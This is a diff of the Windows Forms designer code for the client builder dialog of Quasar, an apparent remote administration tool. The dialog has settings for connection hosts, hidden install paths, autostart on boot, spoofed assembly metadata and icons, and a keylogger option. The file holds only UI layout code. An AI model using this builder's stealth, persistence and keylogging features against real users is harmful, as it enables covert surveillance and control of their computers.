System.Windows.Forms.Label(); + this.lstHosts = new System.Windows.Forms.ListBox(); + this.btnAddHost = new System.Windows.Forms.Button(); + this.lblMS = new System.Windows.Forms.Label(); + this.lblHost = new System.Windows.Forms.Label(); + this.txtHost = new System.Windows.Forms.TextBox(); + this.lblDelay = new System.Windows.Forms.Label(); + this.lblPort = new System.Windows.Forms.Label(); + this.installationPage = new System.Windows.Forms.TabPage(); + this.chkHideSubDirectory = new System.Windows.Forms.CheckBox(); + this.line7 = new Quasar.Server.Controls.Line(); + this.label10 = new System.Windows.Forms.Label(); + this.line4 = new Quasar.Server.Controls.Line(); + this.label5 = new System.Windows.Forms.Label(); + this.chkInstall = new System.Windows.Forms.CheckBox(); + this.lblInstallName = new System.Windows.Forms.Label(); + this.txtInstallName = new System.Windows.Forms.TextBox(); + this.txtRegistryKeyName = new System.Windows.Forms.TextBox(); + this.lblExtension = new System.Windows.Forms.Label(); + this.lblRegistryKeyName = new System.Windows.Forms.Label(); + this.chkStartup = new System.Windows.Forms.CheckBox(); + this.rbAppdata = new System.Windows.Forms.RadioButton(); + this.chkHide = new System.Windows.Forms.CheckBox(); + this.lblInstallDirectory = new System.Windows.Forms.Label(); + this.lblInstallSubDirectory = new System.Windows.Forms.Label(); + this.lblPreviewPath = new System.Windows.Forms.Label(); + this.txtInstallSubDirectory = new System.Windows.Forms.TextBox(); + this.txtPreviewPath = new System.Windows.Forms.TextBox(); + this.assemblyPage = new System.Windows.Forms.TabPage(); + this.iconPreview = new System.Windows.Forms.PictureBox(); + this.btnBrowseIcon = new System.Windows.Forms.Button(); + this.txtIconPath = new System.Windows.Forms.TextBox(); + this.line8 = new Quasar.Server.Controls.Line(); + this.label11 = new System.Windows.Forms.Label(); + this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); + this.txtFileVersion = new System.Windows.Forms.TextBox(); + this.line9 = new Quasar.Server.Controls.Line(); + this.lblProductName = new System.Windows.Forms.Label(); + this.label12 = new System.Windows.Forms.Label(); + this.chkChangeIcon = new System.Windows.Forms.CheckBox(); + this.lblFileVersion = new System.Windows.Forms.Label(); + this.txtProductName = new System.Windows.Forms.TextBox(); + this.txtProductVersion = new System.Windows.Forms.TextBox(); + this.lblDescription = new System.Windows.Forms.Label(); + this.lblProductVersion = new System.Windows.Forms.Label(); + this.txtDescription = new System.Windows.Forms.TextBox(); + this.txtOriginalFilename = new System.Windows.Forms.TextBox(); + this.lblCompanyName = new System.Windows.Forms.Label(); + this.lblOriginalFilename = new System.Windows.Forms.Label(); + this.txtCompanyName = new System.Windows.Forms.TextBox(); + this.txtTrademarks = new System.Windows.Forms.TextBox(); + this.lblCopyright = new System.Windows.Forms.Label(); + this.lblTrademarks = new System.Windows.Forms.Label(); + this.txtCopyright = new System.Windows.Forms.TextBox(); + this.monitoringTab = new System.Windows.Forms.TabPage(); + this.chkHideLogDirectory = new System.Windows.Forms.CheckBox(); + this.txtLogDirectoryName = new System.Windows.Forms.TextBox(); + this.lblLogDirectory = new System.Windows.Forms.Label(); + this.line10 = new Quasar.Server.Controls.Line(); + this.label14 = new System.Windows.Forms.Label(); + this.chkKeylogger = new System.Windows.Forms.CheckBox(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); + this.contextMenuStrip.SuspendLayout(); + this.builderTabs.SuspendLayout(); + this.generalPage.SuspendLayout(); + this.connectionPage.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).BeginInit(); + this.installationPage.SuspendLayout(); + this.assemblyPage.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit(); + this.monitoringTab.SuspendLayout(); + this.SuspendLayout(); + // + // btnBuild + // + this.btnBuild.Location = new System.Drawing.Point(402, 390); + this.btnBuild.Name = "btnBuild"; + this.btnBuild.Size = new System.Drawing.Size(121, 23); + this.btnBuild.TabIndex = 1; + this.btnBuild.Text = "Build Client"; + this.btnBuild.UseVisualStyleBackColor = true; + this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click); + // + // picUAC2 + // + this.picUAC2.Image = global::Quasar.Server.Properties.Resources.uac_shield; + this.picUAC2.Location = new System.Drawing.Point(363, 88); + this.picUAC2.Name = "picUAC2"; + this.picUAC2.Size = new System.Drawing.Size(16, 20); + this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC2.TabIndex = 32; + this.picUAC2.TabStop = false; + this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System."); + // + // picUAC1 + // + this.picUAC1.Image = global::Quasar.Server.Properties.Resources.uac_shield; + this.picUAC1.Location = new System.Drawing.Point(363, 68); + this.picUAC1.Name = "picUAC1"; + this.picUAC1.Size = new System.Drawing.Size(16, 20); + this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC1.TabIndex = 31; + this.picUAC1.TabStop = false; + this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files."); + // + // rbSystem + // + this.rbSystem.AutoSize = true; + this.rbSystem.Location = new System.Drawing.Point(241, 91); + this.rbSystem.Name = "rbSystem"; + this.rbSystem.Size = new System.Drawing.Size(60, 17); + this.rbSystem.TabIndex = 5; + this.rbSystem.TabStop = true; + this.rbSystem.Text = "System"; + this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System."); + this.rbSystem.UseVisualStyleBackColor = true; + this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // rbProgramFiles + // + this.rbProgramFiles.AutoSize = true; + this.rbProgramFiles.Location = new System.Drawing.Point(241, 68); + this.rbProgramFiles.Name = "rbProgramFiles"; + this.rbProgramFiles.Size = new System.Drawing.Size(94, 17); + this.rbProgramFiles.TabIndex = 4; + this.rbProgramFiles.TabStop = true; + this.rbProgramFiles.Text = "Program Files"; + this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files."); + this.rbProgramFiles.UseVisualStyleBackColor = true; + this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // contextMenuStrip + // + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.removeHostToolStripMenuItem, + this.clearToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenuHosts"; + this.contextMenuStrip.Size = new System.Drawing.Size(144, 48); + // + // removeHostToolStripMenuItem + // + this.removeHostToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; + this.removeHostToolStripMenuItem.Name = "removeHostToolStripMenuItem"; + this.removeHostToolStripMenuItem.Size = new System.Drawing.Size(143, 22); + this.removeHostToolStripMenuItem.Text = "Remove host"; + this.removeHostToolStripMenuItem.Click += new System.EventHandler(this.removeHostToolStripMenuItem_Click); + // + // clearToolStripMenuItem + // + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; + this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; + this.clearToolStripMenuItem.Size = new System.Drawing.Size(143, 22); + this.clearToolStripMenuItem.Text = "Clear all"; + this.clearToolStripMenuItem.Click += new System.EventHandler(this.clearToolStripMenuItem_Click); + // + // builderTabs + // + this.builderTabs.Alignment = System.Windows.Forms.TabAlignment.Left; + this.builderTabs.Controls.Add(this.generalPage); + this.builderTabs.Controls.Add(this.connectionPage); + this.builderTabs.Controls.Add(this.installationPage); + this.builderTabs.Controls.Add(this.assemblyPage); + this.builderTabs.Controls.Add(this.monitoringTab); + this.builderTabs.Dock = System.Windows.Forms.DockStyle.Top; + this.builderTabs.ItemSize = new System.Drawing.Size(44, 136); + this.builderTabs.Location = new System.Drawing.Point(0, 0); + this.builderTabs.Multiline = true; + this.builderTabs.Name = "builderTabs"; + this.builderTabs.SelectedIndex = 0; + this.builderTabs.Size = new System.Drawing.Size(535, 384); + this.builderTabs.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; + this.builderTabs.TabIndex = 0; + // + // generalPage + // + this.generalPage.BackColor = System.Drawing.SystemColors.Control; + this.generalPage.Controls.Add(this.label9); + this.generalPage.Controls.Add(this.line6); + this.generalPage.Controls.Add(this.label8); + this.generalPage.Controls.Add(this.txtTag); + this.generalPage.Controls.Add(this.label7); + this.generalPage.Controls.Add(this.lblTag); + this.generalPage.Controls.Add(this.txtMutex); + this.generalPage.Controls.Add(this.btnMutex); + this.generalPage.Controls.Add(this.line5); + this.generalPage.Controls.Add(this.lblMutex); + this.generalPage.Controls.Add(this.label6); + this.generalPage.Location = new System.Drawing.Point(140, 4); + this.generalPage.Name = "generalPage"; + this.generalPage.Padding = new System.Windows.Forms.Padding(3); + this.generalPage.Size = new System.Drawing.Size(391, 376); + this.generalPage.TabIndex = 4; + this.generalPage.Text = "Basic Settings"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(17, 94); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(370, 26); + this.label9.TabIndex = 5; + this.label9.Text = "A unique mutex ensures that only one instance of the client is running\r\non the sa" + + "me system."; + // + // line6 + // + this.line6.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line6.Location = new System.Drawing.Point(85, 78); + this.line6.Name = "line6"; + this.line6.Size = new System.Drawing.Size(300, 13); + this.line6.TabIndex = 20; + this.line6.TabStop = false; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(6, 78); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(80, 13); + this.label8.TabIndex = 4; + this.label8.Text = "Process Mutex"; + // + // txtTag + // + this.txtTag.Location = new System.Drawing.Point(130, 40); + this.txtTag.Name = "txtTag"; + this.txtTag.Size = new System.Drawing.Size(255, 22); + this.txtTag.TabIndex = 3; + this.txtTag.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(17, 20); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(231, 13); + this.label7.TabIndex = 1; + this.label7.Text = "You can choose a tag to identify your client."; + // + // lblTag + // + this.lblTag.AutoSize = true; + this.lblTag.Location = new System.Drawing.Point(17, 43); + this.lblTag.Name = "lblTag"; + this.lblTag.Size = new System.Drawing.Size(61, 13); + this.lblTag.TabIndex = 2; + this.lblTag.Text = "Client Tag:"; + // + // txtMutex + // + this.txtMutex.Location = new System.Drawing.Point(130, 130); + this.txtMutex.MaxLength = 64; + this.txtMutex.Name = "txtMutex"; + this.txtMutex.Size = new System.Drawing.Size(253, 22); + this.txtMutex.TabIndex = 7; + this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // btnMutex + // + this.btnMutex.Location = new System.Drawing.Point(262, 158); + this.btnMutex.Name = "btnMutex"; + this.btnMutex.Size = new System.Drawing.Size(121, 23); + this.btnMutex.TabIndex = 8; + this.btnMutex.Text = "Random Mutex"; + this.btnMutex.UseVisualStyleBackColor = true; + this.btnMutex.Click += new System.EventHandler(this.btnMutex_Click); + // + // line5 + // + this.line5.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line5.Location = new System.Drawing.Point(112, 5); + this.line5.Name = "line5"; + this.line5.Size = new System.Drawing.Size(271, 13); + this.line5.TabIndex = 15; + this.line5.TabStop = false; + // + // lblMutex + // + this.lblMutex.AutoSize = true; + this.lblMutex.Location = new System.Drawing.Point(17, 133); + this.lblMutex.Name = "lblMutex"; + this.lblMutex.Size = new System.Drawing.Size(42, 13); + this.lblMutex.TabIndex = 6; + this.lblMutex.Text = "Mutex:"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(6, 5); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(109, 13); + this.label6.TabIndex = 0; + this.label6.Text = "Client Identification"; + // + // connectionPage + // + this.connectionPage.BackColor = System.Drawing.SystemColors.Control; + this.connectionPage.Controls.Add(this.numericUpDownPort); + this.connectionPage.Controls.Add(this.numericUpDownDelay); + this.connectionPage.Controls.Add(this.line3); + this.connectionPage.Controls.Add(this.label4); + this.connectionPage.Controls.Add(this.line1); + this.connectionPage.Controls.Add(this.label1); + this.connectionPage.Controls.Add(this.lstHosts); + this.connectionPage.Controls.Add(this.btnAddHost); + this.connectionPage.Controls.Add(this.lblMS); + this.connectionPage.Controls.Add(this.lblHost); + this.connectionPage.Controls.Add(this.txtHost); + this.connectionPage.Controls.Add(this.lblDelay); + this.connectionPage.Controls.Add(this.lblPort); + this.connectionPage.Location = new System.Drawing.Point(140, 4); + this.connectionPage.Name = "connectionPage"; + this.connectionPage.Padding = new System.Windows.Forms.Padding(3); + this.connectionPage.Size = new System.Drawing.Size(391, 376); + this.connectionPage.TabIndex = 0; + this.connectionPage.Text = "Connection Settings"; + // + // numericUpDownPort + // + this.numericUpDownPort.Location = new System.Drawing.Point(254, 51); + this.numericUpDownPort.Maximum = new decimal(new int[] { + 65535, + 0, + 0, + 0}); + this.numericUpDownPort.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.numericUpDownPort.Name = "numericUpDownPort"; + this.numericUpDownPort.Size = new System.Drawing.Size(129, 22); + this.numericUpDownPort.TabIndex = 3; + this.numericUpDownPort.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // numericUpDownDelay + // + this.numericUpDownDelay.Location = new System.Drawing.Point(276, 178); + this.numericUpDownDelay.Maximum = new decimal(new int[] { + 600000, + 0, + 0, + 0}); + this.numericUpDownDelay.Name = "numericUpDownDelay"; + this.numericUpDownDelay.Size = new System.Drawing.Size(80, 22); + this.numericUpDownDelay.TabIndex = 10; + this.numericUpDownDelay.Value = new decimal(new int[] { + 5000, + 0, + 0, + 0}); + this.numericUpDownDelay.ValueChanged += new System.EventHandler(this.HasChangedSetting); + // + // line3 + // + this.line3.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line3.Location = new System.Drawing.Point(95, 159); + this.line3.Name = "line3"; + this.line3.Size = new System.Drawing.Size(290, 13); + this.line3.TabIndex = 18; + this.line3.TabStop = false; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(6, 159); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(92, 13); + this.label4.TabIndex = 17; + this.label4.Text = "Reconnect Delay"; + // + // line1 + // + this.line1.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line1.Location = new System.Drawing.Point(104, 5); + this.line1.Name = "line1"; + this.line1.Size = new System.Drawing.Size(281, 13); + this.line1.TabIndex = 13; + this.line1.TabStop = false; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 5); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(99, 13); + this.label1.TabIndex = 14; + this.label1.Text = "Connection Hosts"; + // + // lstHosts + // + this.lstHosts.ContextMenuStrip = this.contextMenuStrip; + this.lstHosts.FormattingEnabled = true; + this.lstHosts.Location = new System.Drawing.Point(20, 21); + this.lstHosts.Name = "lstHosts"; + this.lstHosts.Size = new System.Drawing.Size(149, 121); + this.lstHosts.TabIndex = 5; + this.lstHosts.TabStop = false; + // + // btnAddHost + // + this.btnAddHost.Location = new System.Drawing.Point(254, 78); + this.btnAddHost.Name = "btnAddHost"; + this.btnAddHost.Size = new System.Drawing.Size(129, 22); + this.btnAddHost.TabIndex = 4; + this.btnAddHost.Text = "Add Host"; + this.btnAddHost.UseVisualStyleBackColor = true; + this.btnAddHost.Click += new System.EventHandler(this.btnAddHost_Click); + // + // lblMS + // + this.lblMS.AutoSize = true; + this.lblMS.Location = new System.Drawing.Point(356, 183); + this.lblMS.Name = "lblMS"; + this.lblMS.Size = new System.Drawing.Size(21, 13); + this.lblMS.TabIndex = 11; + this.lblMS.Text = "ms"; + // + // lblHost + // + this.lblHost.AutoSize = true; + this.lblHost.Location = new System.Drawing.Point(175, 25); + this.lblHost.Name = "lblHost"; + this.lblHost.Size = new System.Drawing.Size(75, 13); + this.lblHost.TabIndex = 0; + this.lblHost.Text = "IP/Hostname:"; + // + // txtHost + // + this.txtHost.Location = new System.Drawing.Point(254, 22); + this.txtHost.Name = "txtHost"; + this.txtHost.Size = new System.Drawing.Size(129, 22); + this.txtHost.TabIndex = 1; + // + // lblDelay + // + this.lblDelay.AutoSize = true; + this.lblDelay.Location = new System.Drawing.Point(17, 182); + this.lblDelay.Name = "lblDelay"; + this.lblDelay.Size = new System.Drawing.Size(200, 13); + this.lblDelay.TabIndex = 9; + this.lblDelay.Text = "Time to wait between reconnect tries:"; + // + // lblPort + // + this.lblPort.AutoSize = true; + this.lblPort.Location = new System.Drawing.Point(175, 53); + this.lblPort.Name = "lblPort"; + this.lblPort.Size = new System.Drawing.Size(31, 13); + this.lblPort.TabIndex = 2; + this.lblPort.Text = "Port:"; + // + // installationPage + // + this.installationPage.BackColor = System.Drawing.SystemColors.Control; + this.installationPage.Controls.Add(this.chkHideSubDirectory); + this.installationPage.Controls.Add(this.line7); + this.installationPage.Controls.Add(this.label10); + this.installationPage.Controls.Add(this.line4); + this.installationPage.Controls.Add(this.label5); + this.installationPage.Controls.Add(this.picUAC2); + this.installationPage.Controls.Add(this.picUAC1); + this.installationPage.Controls.Add(this.chkInstall); + this.installationPage.Controls.Add(this.rbSystem); + this.installationPage.Controls.Add(this.lblInstallName); + this.installationPage.Controls.Add(this.rbProgramFiles); + this.installationPage.Controls.Add(this.txtInstallName); + this.installationPage.Controls.Add(this.txtRegistryKeyName); + this.installationPage.Controls.Add(this.lblExtension); + this.installationPage.Controls.Add(this.lblRegistryKeyName); + this.installationPage.Controls.Add(this.chkStartup); + this.installationPage.Controls.Add(this.rbAppdata); + this.installationPage.Controls.Add(this.chkHide); + this.installationPage.Controls.Add(this.lblInstallDirectory); + this.installationPage.Controls.Add(this.lblInstallSubDirectory); + this.installationPage.Controls.Add(this.lblPreviewPath); + this.installationPage.Controls.Add(this.txtInstallSubDirectory); + this.installationPage.Controls.Add(this.txtPreviewPath); + this.installationPage.Location = new System.Drawing.Point(140, 4); + this.installationPage.Name = "installationPage"; + this.installationPage.Padding = new System.Windows.Forms.Padding(3); + this.installationPage.Size = new System.Drawing.Size(391, 376); + this.installationPage.TabIndex = 1; + this.installationPage.Text = "Installation Settings"; + // + // chkHideSubDirectory + // + this.chkHideSubDirectory.AutoSize = true; + this.chkHideSubDirectory.Location = new System.Drawing.Point(186, 185); + this.chkHideSubDirectory.Name = "chkHideSubDirectory"; + this.chkHideSubDirectory.Size = new System.Drawing.Size(185, 17); + this.chkHideSubDirectory.TabIndex = 37; + this.chkHideSubDirectory.Text = "Set subdir attributes to hidden"; + this.chkHideSubDirectory.UseVisualStyleBackColor = true; + // + // line7 + // + this.line7.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line7.Location = new System.Drawing.Point(60, 274); + this.line7.Name = "line7"; + this.line7.Size = new System.Drawing.Size(323, 13); + this.line7.TabIndex = 36; + this.line7.TabStop = false; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(7, 274); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(55, 13); + this.label10.TabIndex = 14; + this.label10.Text = "Autostart"; + // + // line4 + // + this.line4.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line4.Location = new System.Drawing.Point(117, 5); + this.line4.Name = "line4"; + this.line4.Size = new System.Drawing.Size(266, 13); + this.line4.TabIndex = 34; + this.line4.TabStop = false; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(6, 5); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(112, 13); + this.label5.TabIndex = 0; + this.label5.Text = "Installation Location"; + // + // chkInstall + // + this.chkInstall.AutoSize = true; + this.chkInstall.Location = new System.Drawing.Point(20, 21); + this.chkInstall.Name = "chkInstall"; + this.chkInstall.Size = new System.Drawing.Size(90, 17); + this.chkInstall.TabIndex = 1; + this.chkInstall.Text = "Install Client"; + this.chkInstall.UseVisualStyleBackColor = true; + this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged); + // + // lblInstallName + // + this.lblInstallName.AutoSize = true; + this.lblInstallName.Location = new System.Drawing.Point(17, 156); + this.lblInstallName.Name = "lblInstallName"; + this.lblInstallName.Size = new System.Drawing.Size(73, 13); + this.lblInstallName.TabIndex = 8; + this.lblInstallName.Text = "Install Name:"; + // + // txtInstallName + // + this.txtInstallName.Location = new System.Drawing.Point(182, 153); + this.txtInstallName.Name = "txtInstallName"; + this.txtInstallName.Size = new System.Drawing.Size(170, 22); + this.txtInstallName.TabIndex = 9; + this.txtInstallName.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress); + // + // txtRegistryKeyName + // + this.txtRegistryKeyName.Location = new System.Drawing.Point(182, 324); + this.txtRegistryKeyName.Name = "txtRegistryKeyName"; + this.txtRegistryKeyName.Size = new System.Drawing.Size(201, 22); + this.txtRegistryKeyName.TabIndex = 17; + this.txtRegistryKeyName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblExtension + // + this.lblExtension.AutoSize = true; + this.lblExtension.Location = new System.Drawing.Point(352, 159); + this.lblExtension.Name = "lblExtension"; + this.lblExtension.Size = new System.Drawing.Size(27, 13); + this.lblExtension.TabIndex = 10; + this.lblExtension.Text = ".exe"; + // + // lblRegistryKeyName + // + this.lblRegistryKeyName.AutoSize = true; + this.lblRegistryKeyName.Location = new System.Drawing.Point(17, 327); + this.lblRegistryKeyName.Name = "lblRegistryKeyName"; + this.lblRegistryKeyName.Size = new System.Drawing.Size(80, 13); + this.lblRegistryKeyName.TabIndex = 16; + this.lblRegistryKeyName.Text = "Startup Name:"; + // + // chkStartup + // + this.chkStartup.AutoSize = true; + this.chkStartup.Location = new System.Drawing.Point(20, 298); + this.chkStartup.Name = "chkStartup"; + this.chkStartup.Size = new System.Drawing.Size(215, 17); + this.chkStartup.TabIndex = 15; + this.chkStartup.Text = "Run Client when the computer starts"; + this.chkStartup.UseVisualStyleBackColor = true; + this.chkStartup.CheckedChanged += new System.EventHandler(this.chkStartup_CheckedChanged); + // + // rbAppdata + // + this.rbAppdata.AutoSize = true; + this.rbAppdata.Checked = true; + this.rbAppdata.Location = new System.Drawing.Point(241, 45); + this.rbAppdata.Name = "rbAppdata"; + this.rbAppdata.Size = new System.Drawing.Size(137, 17); + this.rbAppdata.TabIndex = 3; + this.rbAppdata.TabStop = true; + this.rbAppdata.Text = "User Application Data"; + this.rbAppdata.UseVisualStyleBackColor = true; + this.rbAppdata.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // chkHide + // + this.chkHide.AutoSize = true; + this.chkHide.Location = new System.Drawing.Point(20, 185); + this.chkHide.Name = "chkHide"; + this.chkHide.Size = new System.Drawing.Size(168, 17); + this.chkHide.TabIndex = 11; + this.chkHide.Text = "Set file attributes to hidden"; + this.chkHide.UseVisualStyleBackColor = true; + this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblInstallDirectory + // + this.lblInstallDirectory.AutoSize = true; + this.lblInstallDirectory.Location = new System.Drawing.Point(17, 47); + this.lblInstallDirectory.Name = "lblInstallDirectory"; + this.lblInstallDirectory.Size = new System.Drawing.Size(90, 13); + this.lblInstallDirectory.TabIndex = 2; + this.lblInstallDirectory.Text = "Install Directory:"; + // + // lblInstallSubDirectory + // + this.lblInstallSubDirectory.AutoSize = true; + this.lblInstallSubDirectory.Location = new System.Drawing.Point(17, 126); + this.lblInstallSubDirectory.Name = "lblInstallSubDirectory"; + this.lblInstallSubDirectory.Size = new System.Drawing.Size(109, 13); + this.lblInstallSubDirectory.TabIndex = 6; + this.lblInstallSubDirectory.Text = "Install Subdirectory:"; + // + // lblPreviewPath + // + this.lblPreviewPath.AutoSize = true; + this.lblPreviewPath.Location = new System.Drawing.Point(17, 218); + this.lblPreviewPath.Name = "lblPreviewPath"; + this.lblPreviewPath.Size = new System.Drawing.Size(157, 13); + this.lblPreviewPath.TabIndex = 12; + this.lblPreviewPath.Text = "Installation Location Preview:"; + // + // txtInstallSubDirectory + // + this.txtInstallSubDirectory.Location = new System.Drawing.Point(182, 123); + this.txtInstallSubDirectory.Name = "txtInstallSubDirectory"; + this.txtInstallSubDirectory.Size = new System.Drawing.Size(201, 22); + this.txtInstallSubDirectory.TabIndex = 7; + this.txtInstallSubDirectory.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallSubDirectory.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress); + // + // txtPreviewPath + // + this.txtPreviewPath.Location = new System.Drawing.Point(20, 234); + this.txtPreviewPath.Name = "txtPreviewPath"; + this.txtPreviewPath.ReadOnly = true; + this.txtPreviewPath.Size = new System.Drawing.Size(363, 22); + this.txtPreviewPath.TabIndex = 13; + this.txtPreviewPath.TabStop = false; + // + // assemblyPage + // + this.assemblyPage.BackColor = System.Drawing.SystemColors.Control; + this.assemblyPage.Controls.Add(this.iconPreview); + this.assemblyPage.Controls.Add(this.btnBrowseIcon); + this.assemblyPage.Controls.Add(this.txtIconPath); + this.assemblyPage.Controls.Add(this.line8); + this.assemblyPage.Controls.Add(this.label11); + this.assemblyPage.Controls.Add(this.chkChangeAsmInfo); + this.assemblyPage.Controls.Add(this.txtFileVersion); + this.assemblyPage.Controls.Add(this.line9); + this.assemblyPage.Controls.Add(this.lblProductName); + this.assemblyPage.Controls.Add(this.label12); + this.assemblyPage.Controls.Add(this.chkChangeIcon); + this.assemblyPage.Controls.Add(this.lblFileVersion); + this.assemblyPage.Controls.Add(this.txtProductName); + this.assemblyPage.Controls.Add(this.txtProductVersion); + this.assemblyPage.Controls.Add(this.lblDescription); + this.assemblyPage.Controls.Add(this.lblProductVersion); + this.assemblyPage.Controls.Add(this.txtDescription); + this.assemblyPage.Controls.Add(this.txtOriginalFilename); + this.assemblyPage.Controls.Add(this.lblCompanyName); + this.assemblyPage.Controls.Add(this.lblOriginalFilename); + this.assemblyPage.Controls.Add(this.txtCompanyName); + this.assemblyPage.Controls.Add(this.txtTrademarks); + this.assemblyPage.Controls.Add(this.lblCopyright); + this.assemblyPage.Controls.Add(this.lblTrademarks); + this.assemblyPage.Controls.Add(this.txtCopyright); + this.assemblyPage.Location = new System.Drawing.Point(140, 4); + this.assemblyPage.Name = "assemblyPage"; + this.assemblyPage.Size = new System.Drawing.Size(391, 376); + this.assemblyPage.TabIndex = 2; + this.assemblyPage.Text = "Assembly Settings"; + // + // iconPreview + // + this.iconPreview.Location = new System.Drawing.Point(319, 302); + this.iconPreview.Name = "iconPreview"; + this.iconPreview.Size = new System.Drawing.Size(64, 64); + this.iconPreview.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.iconPreview.TabIndex = 42; + this.iconPreview.TabStop = false; + // + // btnBrowseIcon + // + this.btnBrowseIcon.Location = new System.Drawing.Point(177, 343); + this.btnBrowseIcon.Name = "btnBrowseIcon"; + this.btnBrowseIcon.Size = new System.Drawing.Size(125, 23); + this.btnBrowseIcon.TabIndex = 41; + this.btnBrowseIcon.Text = "Browse..."; + this.btnBrowseIcon.UseVisualStyleBackColor = true; + this.btnBrowseIcon.Click += new System.EventHandler(this.btnBrowseIcon_Click); + // + // txtIconPath + // + this.txtIconPath.Location = new System.Drawing.Point(20, 315); + this.txtIconPath.Name = "txtIconPath"; + this.txtIconPath.Size = new System.Drawing.Size(282, 22); + this.txtIconPath.TabIndex = 39; + // + // line8 + // + this.line8.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line8.Location = new System.Drawing.Point(122, 5); + this.line8.Name = "line8"; + this.line8.Size = new System.Drawing.Size(261, 13); + this.line8.TabIndex = 36; + this.line8.TabStop = false; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(6, 5); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(118, 13); + this.label11.TabIndex = 35; + this.label11.Text = "Assembly Information"; + // + // chkChangeAsmInfo + // + this.chkChangeAsmInfo.AutoSize = true; + this.chkChangeAsmInfo.Location = new System.Drawing.Point(20, 21); + this.chkChangeAsmInfo.Name = "chkChangeAsmInfo"; + this.chkChangeAsmInfo.Size = new System.Drawing.Size(180, 17); + this.chkChangeAsmInfo.TabIndex = 0; + this.chkChangeAsmInfo.Text = "Change Assembly Information"; + this.chkChangeAsmInfo.UseVisualStyleBackColor = true; + this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged); + // + // txtFileVersion + // + this.txtFileVersion.Location = new System.Drawing.Point(182, 240); + this.txtFileVersion.Name = "txtFileVersion"; + this.txtFileVersion.Size = new System.Drawing.Size(201, 22); + this.txtFileVersion.TabIndex = 16; + this.txtFileVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // line9 + // + this.line9.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line9.Location = new System.Drawing.Point(83, 276); + this.line9.Name = "line9"; + this.line9.Size = new System.Drawing.Size(300, 13); + this.line9.TabIndex = 38; + this.line9.TabStop = false; + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(17, 47); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(82, 13); 